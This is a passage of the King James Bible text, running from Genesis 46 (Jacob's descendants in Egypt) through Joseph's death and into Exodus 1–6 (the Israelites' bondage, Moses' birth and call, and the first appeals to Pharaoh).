Ezbon, Eri, +and Arodi, and Areli. + +46:17 And the sons of Asher; Jimnah, and Ishuah, and Isui, and Beriah, +and Serah their sister: and the sons of Beriah; Heber, and Malchiel. + +46:18 These are the sons of Zilpah, whom Laban gave to Leah his +daughter, and these she bare unto Jacob, even sixteen souls. + +46:19 The sons of Rachel Jacob's wife; Joseph, and Benjamin. + +46:20 And unto Joseph in the land of Egypt were born Manasseh and +Ephraim, which Asenath the daughter of Potipherah priest of On bare +unto him. + +46:21 And the sons of Benjamin were Belah, and Becher, and Ashbel, +Gera, and Naaman, Ehi, and Rosh, Muppim, and Huppim, and Ard. + +46:22 These are the sons of Rachel, which were born to Jacob: all the +souls were fourteen. + +46:23 And the sons of Dan; Hushim. + +46:24 And the sons of Naphtali; Jahzeel, and Guni, and Jezer, and +Shillem. + +46:25 These are the sons of Bilhah, which Laban gave unto Rachel his +daughter, and she bare these unto Jacob: all the souls were seven. + +46:26 All the souls that came with Jacob into Egypt, which came out of +his loins, besides Jacob's sons' wives, all the souls were threescore +and six; 46:27 And the sons of Joseph, which were born him in Egypt, +were two souls: all the souls of the house of Jacob, which came into +Egypt, were threescore and ten. + +46:28 And he sent Judah before him unto Joseph, to direct his face +unto Goshen; and they came into the land of Goshen. + +46:29 And Joseph made ready his chariot, and went up to meet Israel +his father, to Goshen, and presented himself unto him; and he fell on +his neck, and wept on his neck a good while. + +46:30 And Israel said unto Joseph, Now let me die, since I have seen +thy face, because thou art yet alive. + +46:31 And Joseph said unto his brethren, and unto his father's house, +I will go up, and shew Pharaoh, and say unto him, My brethren, and my +father's house, which were in the land of Canaan, are come unto me; +46:32 And the men are shepherds, for their trade hath been to feed +cattle; and they have brought their flocks, and their herds, and all +that they have. + +46:33 And it shall come to pass, when Pharaoh shall call you, and +shall say, What is your occupation? 46:34 That ye shall say, Thy +servants' trade hath been about cattle from our youth even until now, +both we, and also our fathers: that ye may dwell in the land of +Goshen; for every shepherd is an abomination unto the Egyptians. + +47:1 Then Joseph came and told Pharaoh, and said, My father and my +brethren, and their flocks, and their herds, and all that they have, +are come out of the land of Canaan; and, behold, they are in the land +of Goshen. + +47:2 And he took some of his brethren, even five men, and presented +them unto Pharaoh. + +47:3 And Pharaoh said unto his brethren, What is your occupation? And +they said unto Pharaoh, Thy servants are shepherds, both we, and also +our fathers. + +47:4 They said morever unto Pharaoh, For to sojourn in the land are we +come; for thy servants have no pasture for their flocks; for the +famine is sore in the land of Canaan: now therefore, we pray thee, let +thy servants dwell in the land of Goshen. + +47:5 And Pharaoh spake unto Joseph, saying, Thy father and thy +brethren are come unto thee: 47:6 The land of Egypt is before thee; in +the best of the land make thy father and brethren to dwell; in the +land of Goshen let them dwell: and if thou knowest any men of activity +among them, then make them rulers over my cattle. + +47:7 And Joseph brought in Jacob his father, and set him before +Pharaoh: and Jacob blessed Pharaoh. + +47:8 And Pharaoh said unto Jacob, How old art thou? 47:9 And Jacob +said unto Pharaoh, The days of the years of my pilgrimage are an +hundred and thirty years: few and evil have the days of the years of +my life been, and have not attained unto the days of the years of the +life of my fathers in the days of their pilgrimage. + +47:10 And Jacob blessed Pharaoh, and went out from before Pharaoh. + +47:11 And Joseph placed his father and his brethren, and gave them a +possession in the land of Egypt, in the best of the land, in the land +of Rameses, as Pharaoh had commanded. + +47:12 And Joseph nourished his father, and his brethren, and all his +father's household, with bread, according to their families. + +47:13 And there was no bread in all the land; for the famine was very +sore, so that the land of Egypt and all the land of Canaan fainted by +reason of the famine. + +47:14 And Joseph gathered up all the money that was found in the land +of Egypt, and in the land of Canaan, for the corn which they bought: +and Joseph brought the money into Pharaoh's house. + +47:15 And when money failed in the land of Egypt, and in the land of +Canaan, all the Egyptians came unto Joseph, and said, Give us bread: +for why should we die in thy presence? for the money faileth. + +47:16 And Joseph said, Give your cattle; and I will give you for your +cattle, if money fail. + +47:17 And they brought their cattle unto Joseph: and Joseph gave them +bread in exchange for horses, and for the flocks, and for the cattle +of the herds, and for the asses: and he fed them with bread for all +their cattle for that year. + +47:18 When that year was ended, they came unto him the second year, +and said unto him, We will not hide it from my lord, how that our +money is spent; my lord also hath our herds of cattle; there is not +ought left in the sight of my lord, but our bodies, and our lands: +47:19 Wherefore shall we die before thine eyes, both we and our land? +buy us and our land for bread, and we and our land will be servants +unto Pharaoh: and give us seed, that we may live, and not die, that +the land be not desolate. + +47:20 And Joseph bought all the land of Egypt for Pharaoh; for the +Egyptians sold every man his field, because the famine prevailed over +them: so the land became Pharaoh's. + +47:21 And as for the people, he removed them to cities from one end of +the borders of Egypt even to the other end thereof. + +47:22 Only the land of the priests bought he not; for the priests had +a portion assigned them of Pharaoh, and did eat their portion which +Pharaoh gave them: wherefore they sold not their lands. + +47:23 Then Joseph said unto the people, Behold, I have bought you this +day and your land for Pharaoh: lo, here is seed for you, and ye shall +sow the land. + +47:24 And it shall come to pass in the increase, that ye shall give +the fifth part unto Pharaoh, and four parts shall be your own, for +seed of the field, and for your food, and for them of your households, +and for food for your little ones. + +47:25 And they said, Thou hast saved our lives: let us find grace in +the sight of my lord, and we will be Pharaoh's servants. + +47:26 And Joseph made it a law over the land of Egypt unto this day, +that Pharaoh should have the fifth part, except the land of the +priests only, which became not Pharaoh's. + +47:27 And Israel dwelt in the land of Egypt, in the country of Goshen; +and they had possessions therein, and grew, and multiplied +exceedingly. + +47:28 And Jacob lived in the land of Egypt seventeen years: so the +whole age of Jacob was an hundred forty and seven years. + +47:29 And the time drew nigh that Israel must die: and he called his +son Joseph, and said unto him, If now I have found grace in thy sight, +put, I pray thee, thy hand under my thigh, and deal kindly and truly +with me; bury me not, I pray thee, in Egypt: 47:30 But I will lie with +my fathers, and thou shalt carry me out of Egypt, and bury me in their +buryingplace. And he said, I will do as thou hast said. + +47:31 And he said, Swear unto me. And he sware unto him. And Israel +bowed himself upon the bed's head. + +48:1 And it came to pass after these things, that one told Joseph, +Behold, thy father is sick: and he took with him his two sons, +Manasseh and Ephraim. + +48:2 And one told Jacob, and said, Behold, thy son Joseph cometh unto +thee: and Israel strengthened himself, and sat upon the bed. + +48:3 And Jacob said unto Joseph, God Almighty appeared unto me at Luz +in the land of Canaan, and blessed me, 48:4 And said unto me, Behold, +I will make thee fruitful, and multiply thee, and I will make of thee +a multitude of people; and will give this land to thy seed after thee +for an everlasting possession. + +48:5 And now thy two sons, Ephraim and Manasseh, which were born unto +thee in the land of Egypt before I came unto thee into Egypt, are +mine; as Reuben and Simeon, they shall be mine. + +48:6 And thy issue, which thou begettest after them, shall be thine, +and shall be called after the name of their brethren in their +inheritance. + +48:7 And as for me, when I came from Padan, Rachel died by me in the +land of Canaan in the way, when yet there was but a little way to come +unto Ephrath: and I buried her there in the way of Ephrath; the same +is Bethlehem. + +48:8 And Israel beheld Joseph's sons, and said, Who are these? 48:9 +And Joseph said unto his father, They are my sons, whom God hath given +me in this place. And he said, Bring them, I pray thee, unto me, and I +will bless them. + +48:10 Now the eyes of Israel were dim for age, so that he could not +see. + +And he brought them near unto him; and he kissed them, and embraced +them. + +48:11 And Israel said unto Joseph, I had not thought to see thy face: +and, lo, God hath shewed me also thy seed. + +48:12 And Joseph brought them out from between his knees, and he bowed +himself with his face to the earth. + +48:13 And Joseph took them both, Ephraim in his right hand toward +Israel's left hand, and Manasseh in his left hand toward Israel's +right hand, and brought them near unto him. + +48:14 And Israel stretched out his right hand, and laid it upon +Ephraim's head, who was the younger, and his left hand upon Manasseh's +head, guiding his hands wittingly; for Manasseh was the firstborn. + +48:15 And he blessed Joseph, and said, God, before whom my fathers +Abraham and Isaac did walk, the God which fed me all my life long unto +this day, 48:16 The Angel which redeemed me from all evil, bless the +lads; and let my name be named on them, and the name of my fathers +Abraham and Isaac; and let them grow into a multitude in the midst of +the earth. + +48:17 And when Joseph saw that his father laid his right hand upon the +head of Ephraim, it displeased him: and he held up his father's hand, +to remove it from Ephraim's head unto Manasseh's head. + +48:18 And Joseph said unto his father, Not so, my father: for this is +the firstborn; put thy right hand upon his head. + +48:19 And his father refused, and said, I know it, my son, I know it: +he also shall become a people, and he also shall be great: but truly +his younger brother shall be greater than he, and his seed shall +become a multitude of nations. + +48:20 And he blessed them that day, saying, In thee shall Israel +bless, saying, God make thee as Ephraim and as Manasseh: and he set +Ephraim before Manasseh. + +48:21 And Israel said unto Joseph, Behold, I die: but God shall be +with you, and bring you again unto the land of your fathers. + +48:22 Moreover I have given to thee one portion above thy brethren, +which I took out of the hand of the Amorite with my sword and with my +bow. + +49:1 And Jacob called unto his sons, and said, Gather yourselves +together, that I may tell you that which shall befall you in the last +days. + +49:2 Gather yourselves together, and hear, ye sons of Jacob; and +hearken unto Israel your father. + +49:3 Reuben, thou art my firstborn, my might, and the beginning of my +strength, the excellency of dignity, and the excellency of power: 49:4 +Unstable as water, thou shalt not excel; because thou wentest up to +thy father's bed; then defiledst thou it: he went up to my couch. + +49:5 Simeon and Levi are brethren; instruments of cruelty are in their +habitations. + +49:6 O my soul, come not thou into their secret; unto their assembly, +mine honour, be not thou united: for in their anger they slew a man, +and in their selfwill they digged down a wall. + +49:7 Cursed be their anger, for it was fierce; and their wrath, for it +was cruel: I will divide them in Jacob, and scatter them in Israel. + +49:8 Judah, thou art he whom thy brethren shall praise: thy hand shall +be in the neck of thine enemies; thy father's children shall bow down +before thee. + +49:9 Judah is a lion's whelp: from the prey, my son, thou art gone up: +he stooped down, he couched as a lion, and as an old lion; who shall +rouse him up? 49:10 The sceptre shall not depart from Judah, nor a +lawgiver from between his feet, until Shiloh come; and unto him shall +the gathering of the people be. + +49:11 Binding his foal unto the vine, and his ass's colt unto the +choice vine; he washed his garments in wine, and his clothes in the +blood of grapes: 49:12 His eyes shall be red with wine, and his teeth +white with milk. + +49:13 Zebulun shall dwell at the haven of the sea; and he shall be for +an haven of ships; and his border shall be unto Zidon. + +49:14 Issachar is a strong ass couching down between two burdens: +49:15 And he saw that rest was good, and the land that it was +pleasant; and bowed his shoulder to bear, and became a servant unto +tribute. + +49:16 Dan shall judge his people, as one of the tribes of Israel. + +49:17 Dan shall be a serpent by the way, an adder in the path, that +biteth the horse heels, so that his rider shall fall backward. + +49:18 I have waited for thy salvation, O LORD. + +49:19 Gad, a troop shall overcome him: but he shall overcome at the +last. + +49:20 Out of Asher his bread shall be fat, and he shall yield royal +dainties. + +49:21 Naphtali is a hind let loose: he giveth goodly words. + +49:22 Joseph is a fruitful bough, even a fruitful bough by a well; +whose branches run over the wall: 49:23 The archers have sorely +grieved him, and shot at him, and hated him: 49:24 But his bow abode +in strength, and the arms of his hands were made strong by the hands +of the mighty God of Jacob; (from thence is the shepherd, the stone of +Israel:) 49:25 Even by the God of thy father, who shall help thee; and +by the Almighty, who shall bless thee with blessings of heaven above, +blessings of the deep that lieth under, blessings of the breasts, and +of the womb: 49:26 The blessings of thy father have prevailed above +the blessings of my progenitors unto the utmost bound of the +everlasting hills: they shall be on the head of Joseph, and on the +crown of the head of him that was separate from his brethren. + +49:27 Benjamin shall ravin as a wolf: in the morning he shall devour +the prey, and at night he shall divide the spoil. + +49:28 All these are the twelve tribes of Israel: and this is it that +their father spake unto them, and blessed them; every one according to +his blessing he blessed them. + +49:29 And he charged them, and said unto them, I am to be gathered +unto my people: bury me with my fathers in the cave that is in the +field of Ephron the Hittite, 49:30 In the cave that is in the field of +Machpelah, which is before Mamre, in the land of Canaan, which Abraham +bought with the field of Ephron the Hittite for a possession of a +buryingplace. + +49:31 There they buried Abraham and Sarah his wife; there they buried +Isaac and Rebekah his wife; and there I buried Leah. + +49:32 The purchase of the field and of the cave that is therein was +from the children of Heth. + +49:33 And when Jacob had made an end of commanding his sons, he +gathered up his feet into the bed, and yielded up the ghost, and was +gathered unto his people. + +50:1 And Joseph fell upon his father's face, and wept upon him, and +kissed him. + +50:2 And Joseph commanded his servants the physicians to embalm his +father: and the physicians embalmed Israel. + +50:3 And forty days were fulfilled for him; for so are fulfilled the +days of those which are embalmed: and the Egyptians mourned for him +threescore and ten days. + +50:4 And when the days of his mourning were past, Joseph spake unto +the house of Pharaoh, saying, If now I have found grace in your eyes, +speak, I pray you, in the ears of Pharaoh, saying, 50:5 My father made +me swear, saying, Lo, I die: in my grave which I have digged for me in +the land of Canaan, there shalt thou bury me. Now therefore let me go +up, I pray thee, and bury my father, and I will come again. + +50:6 And Pharaoh said, Go up, and bury thy father, according as he +made thee swear. + +50:7 And Joseph went up to bury his father: and with him went up all +the servants of Pharaoh, the elders of his house, and all the elders +of the land of Egypt, 50:8 And all the house of Joseph, and his +brethren, and his father's house: only their little ones, and their +flocks, and their herds, they left in the land of Goshen. + +50:9 And there went up with him both chariots and horsemen: and it was +a very great company. + +50:10 And they came to the threshingfloor of Atad, which is beyond +Jordan, and there they mourned with a great and very sore lamentation: +and he made a mourning for his father seven days. + +50:11 And when the inhabitants of the land, the Canaanites, saw the +mourning in the floor of Atad, they said, This is a grievous mourning +to the Egyptians: wherefore the name of it was called Abelmizraim, +which is beyond Jordan. + +50:12 And his sons did unto him according as he commanded them: 50:13 +For his sons carried him into the land of Canaan, and buried him in +the cave of the field of Machpelah, which Abraham bought with the +field for a possession of a buryingplace of Ephron the Hittite, before +Mamre. + +50:14 And Joseph returned into Egypt, he, and his brethren, and all +that went up with him to bury his father, after he had buried his +father. + +50:15 And when Joseph's brethren saw that their father was dead, they +said, Joseph will peradventure hate us, and will certainly requite us +all the evil which we did unto him. + +50:16 And they sent a messenger unto Joseph, saying, Thy father did +command before he died, saying, 50:17 So shall ye say unto Joseph, +Forgive, I pray thee now, the trespass of thy brethren, and their sin; +for they did unto thee evil: and now, we pray thee, forgive the +trespass of the servants of the God of thy father. And Joseph wept +when they spake unto him. + +50:18 And his brethren also went and fell down before his face; and +they said, Behold, we be thy servants. + +50:19 And Joseph said unto them, Fear not: for am I in the place of +God? 50:20 But as for you, ye thought evil against me; but God meant +it unto good, to bring to pass, as it is this day, to save much people +alive. + +50:21 Now therefore fear ye not: I will nourish you, and your little +ones. + +And he comforted them, and spake kindly unto them. + +50:22 And Joseph dwelt in Egypt, he, and his father's house: and +Joseph lived an hundred and ten years. + +50:23 And Joseph saw Ephraim's children of the third generation: the +children also of Machir the son of Manasseh were brought up upon +Joseph's knees. + +50:24 And Joseph said unto his brethren, I die: and God will surely +visit you, and bring you out of this land unto the land which he sware +to Abraham, to Isaac, and to Jacob. + +50:25 And Joseph took an oath of the children of Israel, saying, God +will surely visit you, and ye shall carry up my bones from hence. + +50:26 So Joseph died, being an hundred and ten years old: and they +embalmed him, and he was put in a coffin in Egypt. + + + + +The Second Book of Moses: Called Exodus + + +1:1 Now these are the names of the children of Israel, which came +into Egypt; every man and his household came with Jacob. + +1:2 Reuben, Simeon, Levi, and Judah, 1:3 Issachar, Zebulun, and +Benjamin, 1:4 Dan, and Naphtali, Gad, and Asher. + +1:5 And all the souls that came out of the loins of Jacob were seventy +souls: for Joseph was in Egypt already. + +1:6 And Joseph died, and all his brethren, and all that generation. + +1:7 And the children of Israel were fruitful, and increased +abundantly, and multiplied, and waxed exceeding mighty; and the land +was filled with them. + +1:8 Now there arose up a new king over Egypt, which knew not Joseph. + +1:9 And he said unto his people, Behold, the people of the children of +Israel are more and mightier than we: 1:10 Come on, let us deal wisely +with them; lest they multiply, and it come to pass, that, when there +falleth out any war, they join also unto our enemies, and fight +against us, and so get them up out of the land. + +1:11 Therefore they did set over them taskmasters to afflict them with +their burdens. And they built for Pharaoh treasure cities, Pithom and +Raamses. + +1:12 But the more they afflicted them, the more they multiplied and +grew. + +And they were grieved because of the children of Israel. + +1:13 And the Egyptians made the children of Israel to serve with +rigour: 1:14 And they made their lives bitter with hard bondage, in +morter, and in brick, and in all manner of service in the field: all +their service, wherein they made them serve, was with rigour. + +1:15 And the king of Egypt spake to the Hebrew midwives, of which the +name of the one was Shiphrah, and the name of the other Puah: 1:16 And +he said, When ye do the office of a midwife to the Hebrew women, and +see them upon the stools; if it be a son, then ye shall kill him: but +if it be a daughter, then she shall live. + +1:17 But the midwives feared God, and did not as the king of Egypt +commanded them, but saved the men children alive. + +1:18 And the king of Egypt called for the midwives, and said unto +them, Why have ye done this thing, and have saved the men children +alive? 1:19 And the midwives said unto Pharaoh, Because the Hebrew +women are not as the Egyptian women; for they are lively, and are +delivered ere the midwives come in unto them. + +1:20 Therefore God dealt well with the midwives: and the people +multiplied, and waxed very mighty. + +1:21 And it came to pass, because the midwives feared God, that he +made them houses. + +1:22 And Pharaoh charged all his people, saying, Every son that is +born ye shall cast into the river, and every daughter ye shall save +alive. + +2:1 And there went a man of the house of Levi, and took to wife a +daughter of Levi. + +2:2 And the woman conceived, and bare a son: and when she saw him that +he was a goodly child, she hid him three months. + +2:3 And when she could not longer hide him, she took for him an ark of +bulrushes, and daubed it with slime and with pitch, and put the child +therein; and she laid it in the flags by the river's brink. + +2:4 And his sister stood afar off, to wit what would be done to him. + +2:5 And the daughter of Pharaoh came down to wash herself at the +river; and her maidens walked along by the river's side; and when she +saw the ark among the flags, she sent her maid to fetch it. + +2:6 And when she had opened it, she saw the child: and, behold, the +babe wept. And she had compassion on him, and said, This is one of the +Hebrews' children. + +2:7 Then said his sister to Pharaoh's daughter, Shall I go and call to +thee a nurse of the Hebrew women, that she may nurse the child for +thee? 2:8 And Pharaoh's daughter said to her, Go. And the maid went +and called the child's mother. + +2:9 And Pharaoh's daughter said unto her, Take this child away, and +nurse it for me, and I will give thee thy wages. And the women took +the child, and nursed it. + +2:10 And the child grew, and she brought him unto Pharaoh's daughter, +and he became her son. And she called his name Moses: and she said, +Because I drew him out of the water. + +2:11 And it came to pass in those days, when Moses was grown, that he +went out unto his brethren, and looked on their burdens: and he spied +an Egyptian smiting an Hebrew, one of his brethren. + +2:12 And he looked this way and that way, and when he saw that there +was no man, he slew the Egyptian, and hid him in the sand. + +2:13 And when he went out the second day, behold, two men of the +Hebrews strove together: and he said to him that did the wrong, +Wherefore smitest thou thy fellow? 2:14 And he said, Who made thee a +prince and a judge over us? intendest thou to kill me, as thou +killedst the Egyptian? And Moses feared, and said, Surely this thing +is known. + +2:15 Now when Pharaoh heard this thing, he sought to slay Moses. But +Moses fled from the face of Pharaoh, and dwelt in the land of Midian: +and he sat down by a well. + +2:16 Now the priest of Midian had seven daughters: and they came and +drew water, and filled the troughs to water their father's flock. + +2:17 And the shepherds came and drove them away: but Moses stood up +and helped them, and watered their flock. + +2:18 And when they came to Reuel their father, he said, How is it that +ye are come so soon to day? 2:19 And they said, An Egyptian delivered +us out of the hand of the shepherds, and also drew water enough for +us, and watered the flock. + +2:20 And he said unto his daughters, And where is he? why is it that +ye have left the man? call him, that he may eat bread. + +2:21 And Moses was content to dwell with the man: and he gave Moses +Zipporah his daughter. + +2:22 And she bare him a son, and he called his name Gershom: for he +said, I have been a stranger in a strange land. + +2:23 And it came to pass in process of time, that the king of Egypt +died: and the children of Israel sighed by reason of the bondage, and +they cried, and their cry came up unto God by reason of the bondage. + +2:24 And God heard their groaning, and God remembered his covenant +with Abraham, with Isaac, and with Jacob. + +2:25 And God looked upon the children of Israel, and God had respect +unto them. + +3:1 Now Moses kept the flock of Jethro his father in law, the priest +of Midian: and he led the flock to the backside of the desert, and +came to the mountain of God, even to Horeb. + +3:2 And the angel of the LORD appeared unto him in a flame of fire out +of the midst of a bush: and he looked, and, behold, the bush burned +with fire, and the bush was not consumed. + +3:3 And Moses said, I will now turn aside, and see this great sight, +why the bush is not burnt. + +3:4 And when the LORD saw that he turned aside to see, God called unto +him out of the midst of the bush, and said, Moses, Moses. And he said, +Here am I. + +3:5 And he said, Draw not nigh hither: put off thy shoes from off thy +feet, for the place whereon thou standest is holy ground. + +3:6 Moreover he said, I am the God of thy father, the God of Abraham, +the God of Isaac, and the God of Jacob. And Moses hid his face; for he +was afraid to look upon God. + +3:7 And the LORD said, I have surely seen the affliction of my people +which are in Egypt, and have heard their cry by reason of their +taskmasters; for I know their sorrows; 3:8 And I am come down to +deliver them out of the hand of the Egyptians, and to bring them up +out of that land unto a good land and a large, unto a land flowing +with milk and honey; unto the place of the Canaanites, and the +Hittites, and the Amorites, and the Perizzites, and the Hivites, and +the Jebusites. + +3:9 Now therefore, behold, the cry of the children of Israel is come +unto me: and I have also seen the oppression wherewith the Egyptians +oppress them. + +3:10 Come now therefore, and I will send thee unto Pharaoh, that thou +mayest bring forth my people the children of Israel out of Egypt. + +3:11 And Moses said unto God, Who am I, that I should go unto Pharaoh, +and that I should bring forth the children of Israel out of Egypt? +3:12 And he said, Certainly I will be with thee; and this shall be a +token unto thee, that I have sent thee: When thou hast brought forth +the people out of Egypt, ye shall serve God upon this mountain. + +3:13 And Moses said unto God, Behold, when I come unto the children of +Israel, and shall say unto them, The God of your fathers hath sent me +unto you; and they shall say to me, What is his name? what shall I say +unto them? 3:14 And God said unto Moses, I AM THAT I AM: and he said, +Thus shalt thou say unto the children of Israel, I AM hath sent me +unto you. + +3:15 And God said moreover unto Moses, Thus shalt thou say unto the +children of Israel, the LORD God of your fathers, the God of Abraham, +the God of Isaac, and the God of Jacob, hath sent me unto you: this is +my name for ever, and this is my memorial unto all generations. + +3:16 Go, and gather the elders of Israel together, and say unto them, +The LORD God of your fathers, the God of Abraham, of Isaac, and of +Jacob, appeared unto me, saying, I have surely visited you, and seen +that which is done to you in Egypt: 3:17 And I have said, I will bring +you up out of the affliction of Egypt unto the land of the Canaanites, +and the Hittites, and the Amorites, and the Perizzites, and the +Hivites, and the Jebusites, unto a land flowing with milk and honey. + +3:18 And they shall hearken to thy voice: and thou shalt come, thou +and the elders of Israel, unto the king of Egypt, and ye shall say +unto him, The LORD God of the Hebrews hath met with us: and now let us +go, we beseech thee, three days' journey into the wilderness, that we +may sacrifice to the LORD our God. + +3:19 And I am sure that the king of Egypt will not let you go, no, not +by a mighty hand. + +3:20 And I will stretch out my hand, and smite Egypt with all my +wonders which I will do in the midst thereof: and after that he will +let you go. + +3:21 And I will give this people favour in the sight of the Egyptians: +and it shall come to pass, that, when ye go, ye shall not go empty. + +3:22 But every woman shall borrow of her neighbour, and of her that +sojourneth in her house, jewels of silver, and jewels of gold, and +raiment: and ye shall put them upon your sons, and upon your +daughters; and ye shall spoil the Egyptians. + +4:1 And Moses answered and said, But, behold, they will not believe +me, nor hearken unto my voice: for they will say, The LORD hath not +appeared unto thee. + +4:2 And the LORD said unto him, What is that in thine hand? And he +said, A rod. + +4:3 And he said, Cast it on the ground. And he cast it on the ground, +and it became a serpent; and Moses fled from before it. + +4:4 And the LORD said unto Moses, Put forth thine hand, and take it by +the tail. And he put forth his hand, and caught it, and it became a +rod in his hand: 4:5 That they may believe that the LORD God of their +fathers, the God of Abraham, the God of Isaac, and the God of Jacob, +hath appeared unto thee. + +4:6 And the LORD said furthermore unto him, Put now thine hand into +thy bosom. And he put his hand into his bosom: and when he took it +out, behold, his hand was leprous as snow. + +4:7 And he said, Put thine hand into thy bosom again. And he put his +hand into his bosom again; and plucked it out of his bosom, and, +behold, it was turned again as his other flesh. + +4:8 And it shall come to pass, if they will not believe thee, neither +hearken to the voice of the first sign, that they will believe the +voice of the latter sign. + +4:9 And it shall come to pass, if they will not believe also these two +signs, neither hearken unto thy voice, that thou shalt take of the +water of the river, and pour it upon the dry land: and the water which +thou takest out of the river shall become blood upon the dry land. + +4:10 And Moses said unto the LORD, O my LORD, I am not eloquent, +neither heretofore, nor since thou hast spoken unto thy servant: but I +am slow of speech, and of a slow tongue. + +4:11 And the LORD said unto him, Who hath made man's mouth? or who +maketh the dumb, or deaf, or the seeing, or the blind? have not I the +LORD? 4:12 Now therefore go, and I will be with thy mouth, and teach +thee what thou shalt say. + +4:13 And he said, O my LORD, send, I pray thee, by the hand of him +whom thou wilt send. + +4:14 And the anger of the LORD was kindled against Moses, and he said, +Is not Aaron the Levite thy brother? I know that he can speak well. +And also, behold, he cometh forth to meet thee: and when he seeth +thee, he will be glad in his heart. + +4:15 And thou shalt speak unto him, and put words in his mouth: and I +will be with thy mouth, and with his mouth, and will teach you what ye +shall do. + +4:16 And he shall be thy spokesman unto the people: and he shall be, +even he shall be to thee instead of a mouth, and thou shalt be to him +instead of God. + +4:17 And thou shalt take this rod in thine hand, wherewith thou shalt +do signs. + +4:18 And Moses went and returned to Jethro his father in law, and said +unto him, Let me go, I pray thee, and return unto my brethren which +are in Egypt, and see whether they be yet alive. And Jethro said to +Moses, Go in peace. + +4:19 And the LORD said unto Moses in Midian, Go, return into Egypt: +for all the men are dead which sought thy life. + +4:20 And Moses took his wife and his sons, and set them upon an ass, +and he returned to the land of Egypt: and Moses took the rod of God in +his hand. + +4:21 And the LORD said unto Moses, When thou goest to return into +Egypt, see that thou do all those wonders before Pharaoh, which I have +put in thine hand: but I will harden his heart, that he shall not let +the people go. + +4:22 And thou shalt say unto Pharaoh, Thus saith the LORD, Israel is +my son, even my firstborn: 4:23 And I say unto thee, Let my son go, +that he may serve me: and if thou refuse to let him go, behold, I will +slay thy son, even thy firstborn. + +4:24 And it came to pass by the way in the inn, that the LORD met him, +and sought to kill him. + +4:25 Then Zipporah took a sharp stone, and cut off the foreskin of her +son, and cast it at his feet, and said, Surely a bloody husband art +thou to me. + +4:26 So he let him go: then she said, A bloody husband thou art, +because of the circumcision. + +4:27 And the LORD said to Aaron, Go into the wilderness to meet Moses. +And he went, and met him in the mount of God, and kissed him. + +4:28 And Moses told Aaron all the words of the LORD who had sent him, +and all the signs which he had commanded him. + +4:29 And Moses and Aaron went and gathered together all the elders of +the children of Israel: 4:30 And Aaron spake all the words which the +LORD had spoken unto Moses, and did the signs in the sight of the +people. + +4:31 And the people believed: and when they heard that the LORD had +visited the children of Israel, and that he had looked upon their +affliction, then they bowed their heads and worshipped. + +5:1 And afterward Moses and Aaron went in, and told Pharaoh, Thus +saith the LORD God of Israel, Let my people go, that they may hold a +feast unto me in the wilderness. + +5:2 And Pharaoh said, Who is the LORD, that I should obey his voice to +let Israel go? I know not the LORD, neither will I let Israel go. + +5:3 And they said, The God of the Hebrews hath met with us: let us go, +we pray thee, three days' journey into the desert, and sacrifice unto +the LORD our God; lest he fall upon us with pestilence, or with the +sword. + +5:4 And the king of Egypt said unto them, Wherefore do ye, Moses and +Aaron, let the people from their works? get you unto your burdens. + +5:5 And Pharaoh said, Behold, the people of the land now are many, and +ye make them rest from their burdens. + +5:6 And Pharaoh commanded the same day the taskmasters of the people, +and their officers, saying, 5:7 Ye shall no more give the people straw +to make brick, as heretofore: let them go and gather straw for +themselves. + +5:8 And the tale of the bricks, which they did make heretofore, ye +shall lay upon them; ye shall not diminish ought thereof: for they be +idle; therefore they cry, saying, Let us go and sacrifice to our God. + +5:9 Let there more work be laid upon the men, that they may labour +therein; and let them not regard vain words. + +5:10 And the taskmasters of the people went out, and their officers, +and they spake to the people, saying, Thus saith Pharaoh, I will not +give you straw. + +5:11 Go ye, get you straw where ye can find it: yet not ought of your +work shall be diminished. + +5:12 So the people were scattered abroad throughout all the land of +Egypt to gather stubble instead of straw. + +5:13 And the taskmasters hasted them, saying, Fulfil your works, your +daily tasks, as when there was straw. + +5:14 And the officers of the children of Israel, which Pharaoh's +taskmasters had set over them, were beaten, and demanded, Wherefore +have ye not fulfilled your task in making brick both yesterday and to +day, as heretofore? 5:15 Then the officers of the children of Israel +came and cried unto Pharaoh, saying, Wherefore dealest thou thus with +thy servants? 5:16 There is no straw given unto thy servants, and +they say to us, Make brick: and, behold, thy servants are beaten; but +the fault is in thine own people. + +5:17 But he said, Ye are idle, ye are idle: therefore ye say, Let us +go and do sacrifice to the LORD. + +5:18 Go therefore now, and work; for there shall no straw be given +you, yet shall ye deliver the tale of bricks. + +5:19 And the officers of the children of Israel did see that they were +in evil case, after it was said, Ye shall not minish ought from your +bricks of your daily task. + +5:20 And they met Moses and Aaron, who stood in the way, as they came +forth from Pharaoh: 5:21 And they said unto them, The LORD look upon +you, and judge; because ye have made our savour to be abhorred in the +eyes of Pharaoh, and in the eyes of his servants, to put a sword in +their hand to slay us. + +5:22 And Moses returned unto the LORD, and said, LORD, wherefore hast +thou so evil entreated this people? why is it that thou hast sent me? +5:23 For since I came to Pharaoh to speak in thy name, he hath done +evil to this people; neither hast thou delivered thy people at all. + +6:1 Then the LORD said unto Moses, Now shalt thou see what I will do +to Pharaoh: for with a strong hand shall he let them go, and with a +strong hand shall he drive them out of his land. + +6:2 And God spake unto Moses, and said unto him, I am the LORD: 6:3 +And I appeared unto Abraham, unto Isaac, and unto Jacob, by the name +of God Almighty, but by my name JEHOVAH was I not known to them. + +6:4 And I have also established my covenant with them, to give them +the land of Canaan, the land of their pilgrimage, wherein they were +strangers. + +6:5 And I have also heard the groaning of the children of Israel, whom +the Egyptians keep in bondage; and I have remembered my covenant. + +6:6 Wherefore say unto the children of Israel, I am the LORD, and I +will bring you out from under the burdens of the Egyptians, and I will +rid you out of their bondage, and I will redeem you with a stretched +out arm, and with great judgments: 6:7 And I will take you to me for a +people, and I will be to you a God: and ye shall know that I am the +LORD your God, which bringeth you out from under the burdens of the +Egyptians. + +6:8 And I will bring you in unto the land, concerning the which I did +swear to give it to Abraham, to Isaac, and to Jacob; and I will give +it you for an heritage: I am the LORD. + +6:9 And Moses spake so unto the children of Israel: but they hearkened +not unto Moses for anguish of spirit, and for cruel bondage. + +6:10 And the LORD spake unto Moses, saying, 6:11 Go in, speak unto +Pharaoh king of Egypt, that he let the children of Israel go out of +his land. + +6:12 And Moses spake before the LORD, saying, Behold, the children of +Israel have not hearkened unto me; how then shall Pharaoh hear me, who +am of uncircumcised lips? 6:13 And the LORD spake unto Moses and unto +Aaron, and gave them a charge unto the children of Israel, and unto +Pharaoh king of Egypt, to bring the children of Israel out of the land +of Egypt. + +6:14 These be the heads of their fathers' houses: The sons of Reuben +the firstborn of Israel; Hanoch, and Pallu, 